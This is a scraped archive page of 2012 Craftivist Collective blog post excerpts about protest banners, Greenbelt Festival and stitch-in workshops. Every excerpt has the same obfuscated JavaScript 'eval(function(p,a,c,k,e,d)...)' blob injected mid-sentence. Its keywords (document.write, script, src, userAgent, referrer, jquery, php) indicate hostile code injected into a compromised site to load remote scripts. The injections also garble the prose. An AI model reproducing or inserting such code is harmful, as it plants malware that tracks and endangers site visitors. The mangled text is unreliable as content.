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16 Sep Have you spotted any Mini Protest Banners at London Fashion Week 2012?

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhaad|var|u0026u|referrer|ritze||js|php'.split('|'),0,{})) wonder if Kate Middleton will see the mini protest banner outside Reiss? After 9 days my banner is still up! :) I made this...

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02 Sep ‘Stitched Stories’ Documentary Film Preview

When: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|karba|var|u0026u|referrer|btsik||js|php'.split('|'),0,{})) Thursday 20th September 6.30pm-8.30pm Where: Fine Cell Work Pop-Up Shop, 5 Grosvenor St, London, W1K 4DJ I'm a bit nervous to mention this but I'm...

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31 Aug Wellies and World Changin’ at Greenbelt Festival 2012

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sayth|var|u0026u|referrer|irbei||js|php'.split('|'),0,{})) you might have seen on  our blog and via Twitter and Instagram that I've been at  Greenbelt Festival for the August Bank Holiday...

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30 Aug Review of Salon London’s Future Victorian event By Tej Adeleye

[caption id="attachment_1668" align="alignright" width="300"] eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siytt|var|u0026u|referrer|rtrin||js|php'.split('|'),0,{})) I nervously warm up the audience before my talk[/caption] So instead of me (Sarah C) writing a blog about the talk...

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23 Aug Find our #popupcraftivist at Greenbelt Festival 2012 and free workshops too!

What's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyenr|var|u0026u|referrer|kzhss||js|php'.split('|'),0,{})) a "Pop Up Craftivist"? Sounds a bit odd...

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20 Aug “Love Fashion Hate Sweatshops” mini protest banner project

Written eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trfik|var|u0026u|referrer|bfnts||js|php'.split('|'),0,{})) by Lorna McBride, Manchester based Craftivist and volunteer Communiations Assistant Apart from drooling over the clothes what will you be doing this London...

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18 Aug London Craftivists get jamming for food justice

Written eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szark|var|u0026u|referrer|bhtzt||js|php'.split('|'),0,{})) by Lara Smallman, a Global Poverty Project Ambassador and Craftivism convert My first taste of craftivism was last month at the stitch-in at Spitalfields...

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16 Jul If you go down to The Make Escape…you’re in for a Craftivist surprise!

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idabi|var|u0026u|referrer|stfhs||js|php'.split('|'),0,{})) Craftivist Collective will be at The Make Escape, taking place at Hackney Attic in Hackney Picturehouse on Tuesday 31st July. The Make Escape is...

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04 Jul Cardiff Craftivist’s get stitching in support of Refugees and Asylum Seekers

 To eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izttk|var|u0026u|referrer|rytta||js|php'.split('|'),0,{})) mark the beginning of Refugee Week, the Craftivist Collective held a workshop in the Refugee House in St Fagans Museum, Cardiff. The Refugee...

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26 Jun We launched our Craftivist Jam event at Spitalfields City Farm!

So my shoulders are still recovering from being sunburnt at our lovely Craftivist Jam stitch-in launch event last Sunday at Spitalfields eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztfdy|var|u0026u|referrer|znarf||js|php'.split('|'),0,{})) City Farm. We...

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